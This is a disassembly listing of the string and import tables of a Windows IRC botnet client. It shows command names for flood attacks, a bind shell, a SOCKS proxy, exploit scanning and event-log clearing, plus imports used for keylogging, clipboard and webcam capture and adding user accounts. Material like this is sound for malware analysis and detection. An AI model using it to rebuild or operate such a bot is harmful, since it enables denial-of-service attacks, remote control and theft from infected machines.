aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1786o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1771o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+175Co
		align 10h
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1747o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1732o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+171Do
aT:					; DATA XREF: sub_401ACD+1708o
					; ___:00437F8Co
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16F3o
unk_42C28C	db  2Dh	; -		; DATA XREF: sub_401ACD+16BFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 4
unk_42C2B4	db  2Dh	; -		; DATA XREF: sub_401ACD+16B8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
aReboot		db 'reboot',0           ; DATA XREF: sub_401ACD+16A1o
		align 4
aI:					; DATA XREF: sub_401ACD+168Co
					; ___:00437F60o
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1677o
		align 4
aS_0:					; DATA XREF: sub_401ACD+1662o
					; ___:00437FDCo
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+164Do
		align 10h
aQ:					; DATA XREF: sub_401ACD+1638o
					; ___:off_437BF8o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+1623o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+160Eo
		align 10h
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15F9o
		align 4
aR:					; DATA XREF: sub_401ACD+15E4o
					; sub_401ACD+3DA8o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15CFo
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+15BAo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+15A5o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1590o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1566o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1551o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+153Co
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+1527o
		align 4
dword_42C378	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401ACD+151Co
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+1517o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14FEo
		align 4
dword_42C398	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14F3o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14EEo
		align 10h
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14D5o
		align 4
dword_42C3BC	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+14CAo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+14C5o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+14ACo
		align 10h
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1497o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1482o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+146Do
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1458o
		align 4
dword_42C40C	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+144Do
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+142Fo
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+1406o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13DDo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+13B4o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+138Bo
unk_42C454	db  2Dh	; -		; DATA XREF: sub_401ACD+1371o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42C488	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1336o
					; sub_401ACD+13D2o
dword_42C498	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1331o
					; sub_401ACD+13CDo
dword_42C4A8	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+1318o
					; sub_401ACD+13A9o
dword_42C4B8	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+1313o
					; sub_401ACD+13A4o
dword_42C4C8	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+12B8o
					; sub_401ACD+1424o
dword_42C4D4	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o
					; sub_401ACD+141Fo
dword_42C4E0	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao
					; sub_401ACD+13FBo
dword_42C4EC	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o
					; sub_401ACD+13F6o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1235o
		align 4
dword_42C504	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+122Ao
					; sub_401ACD+12F7o
dword_42C510	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o
					; sub_401ACD+12F2o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+120Co
		align 4
dword_42C528	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+1201o
					; sub_401ACD+12D9o
dword_42C538	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11FCo
					; sub_401ACD+12D4o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11E3o
		align 4
dword_42C554	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11D8o
					; sub_401ACD+1357o
dword_42C564	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11D3o
					; sub_401ACD+1352o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+11BAo
		align 10h
dword_42C580	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo
					; sub_401ACD+1279o
dword_42C58C	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo
					; sub_401ACD+1274o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1191o
dword_42C5A0	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1186o
					; sub_401ACD+125Bo
dword_42C5AC	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o
					; sub_401ACD+1256o
dword_42C5B8	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o
dword_42C5C4	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+115Do
dword_42C5D4	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1158o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+113Fo
		align 4
dword_42C5F4	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o
dword_42C600	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+112Fo
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+1116o
dword_42C614	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10EDo
		align 10h
dword_42C630	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10E2o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+10C4o
		align 4
dword_42C64C	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+10BCo
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+109Eo
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1089o
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1074o
		align 4
dword_42C674	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1052o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+104Do
					; sub_401ACD+10B7o ...
		align 10h
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1034o
		align 10h
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+101Fo
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+100Ao
		align 10h
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FF5o
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FE0o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FCBo
					; sub_401ACD+2D69o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+FB6o
					; sub_401ACD+2D58o
		align 10h
aSt		db 'st',0               ; DATA XREF: sub_401ACD+FA1o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F8Co
		align 10h
aDed		db 'ded',0              ; DATA XREF: sub_401ACD+F77o
aDedication	db 'dedication',0       ; DATA XREF: sub_401ACD+F62o
		align 10h
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F4Do
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F38o
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F23o
		align 10h
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+F0Eo
		align 4
aD:					; DATA XREF: sub_401ACD+EF9o
					; ___:00437C24o ...
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: sub_401ACD+EE4o
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+ECFo
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+EB7o
a63		db '63',0               ; DATA XREF: sub_401ACD+D84o
		align 10h
asc_42C720:				; DATA XREF: sub_401ACD+D5Co
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D1Fo
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+D14o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+D03o
		align 10h
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CE7o
		align 4
aUser_0		db '$user',0            ; DATA XREF: sub_401ACD+CD6o
		align 10h
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CC4o
aD_0		db '$%d',0              ; DATA XREF: sub_401ACD+C56o
aD_1		db '$%d-',0             ; DATA XREF: sub_401ACD+B92o
		align 10h
aK:					; DATA XREF: sub_401ACD+AA6o
					; sub_401ACD+3DD2o ...
		unicode	0, <k>,0
unk_42C764	db  2Dh	; -		; DATA XREF: sub_401ACD+A80o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42C798	db  2Dh	; -		; DATA XREF: sub_401ACD+A6Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42C7C8	db  2Dh	; -		; DATA XREF: sub_401ACD+A5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_31	db '- Failed to start chat thread, error: <%d>.',0
		align 10h
unk_42C800	db  2Dh	; -		; DATA XREF: sub_401ACD+9EFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 10h
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+958o
		align 4
unk_42C828	db  2Dh	; -		; DATA XREF: sub_401ACD+938o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42C86C	db  2Dh	; -		; DATA XREF: sub_401ACD+920o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_32	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42C8A8	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+90Fo
		dd 0A0Dh
dword_42C8C0	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8DBo
dword_42C8C8	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8D0o
		dd 0D017325h, 0Ah
dword_42C8E4	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+89Fo
dword_42C8F0	dd 23h			; DATA XREF: sub_401ACD+816o
					; sub_40CA7F+1Bo
unk_42C8F4	db  2Dh	; -		; DATA XREF: sub_401ACD+785o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+706o
					; sub_401ACD+995o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6DFo
		align 10h
dword_42C930	dd 43434401h, 0		; DATA XREF: sub_401ACD+6C1o
dword_42C938	dd 323333h		; DATA XREF: sub_401ACD+64Bo
					; sub_401ACD+ADCo ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+629o
					; sub_409A72+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+61Do
					; sub_409A72+16o
unk_42C94C	db  2Dh	; -		; DATA XREF: sub_401ACD+5CCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 10h
unk_42C970	db  2Dh	; -		; DATA XREF: sub_401ACD+5A5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: sub_401ACD+574o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+537o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+526o
					; sub_401ACD+5E9o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4FEo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+60Do
unk_42C9C4	db  2Dh	; -		; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2EBCo ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7C8Eo ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_4177CF:loc_417837o
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3B7o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_4177CF+50o
		align 10h
asc_42CA30:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7DADo
		unicode	0, <!>,0
asc_42CA34:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E5Co ...
		unicode	0, < >,0
asc_42CA38	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_402601o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409B12:loc_40A77Co
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409B12+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409B12+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409B12+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409B12+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409B12+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o
		align 10h
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409B12:loc_40A6DEo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409B12+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409B12+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409B12:loc_40A694o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do
		align 10h
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409B12:loc_40A620o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409B12+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409B12:loc_40A5D6o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409B12:loc_40A58Co
		align 10h
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409B12+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo
					; sub_4185A4+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409B12+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409B12+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409B12+9C5o
		align 10h
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409B12+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409B12+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo
		align 10h
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409B12+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409B12+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409B12+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409B12:loc_40A470o
					; sub_4185A4+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409B12+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409B12+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409B12+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409B12:loc_40A411o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o
		align 10h
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409B12+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o
		align 10h
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409B12:loc_40A2F1o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409B12+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409B12+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409B12+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409B12+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409B12+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409B12+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409B12+658o
		align 10h
aAccept		db 'accept',0           ; DATA XREF: sub_409B12+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409B12+63Eo
		align 10h
aSelect		db 'select',0           ; DATA XREF: sub_409B12+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409B12+629o
		align 10h
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409B12+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409B12+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409B12+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409B12+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409B12+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409B12+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409B12+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409B12+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409B12+5A2o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_409B12+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409B12+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409B12+57Bo
		align 10h
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409B12+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409B12+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409B12+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409B12+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409B12+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409B12+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409B12+525o
		align 10h
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409B12+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409B12+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409B12+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409B12+487o
		align 10h
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409B12+47Ao
		align 10h
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409B12+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409B12+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409B12:loc_409F3Fo
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409B12:loc_409F17o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo
		align 10h
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409B12+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409B12+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409B12+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409B12+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409B12:loc_409E69o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o
		align 10h
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409B12+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409B12+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409B12+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409B12+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409B12+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409B12+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409B12+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409B12:loc_409D71o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409B12+20Do
		align 10h
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409B12+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao
		align 10h
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409B12+1A0o
		align 10h
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409B12+193o
		align 10h
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409B12+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409B12+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409B12+15Fo
		align 10h
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409B12+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409B12+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409B12:loc_409C47o
					; sub_424D78+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao
		align 10h
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409B12+86o
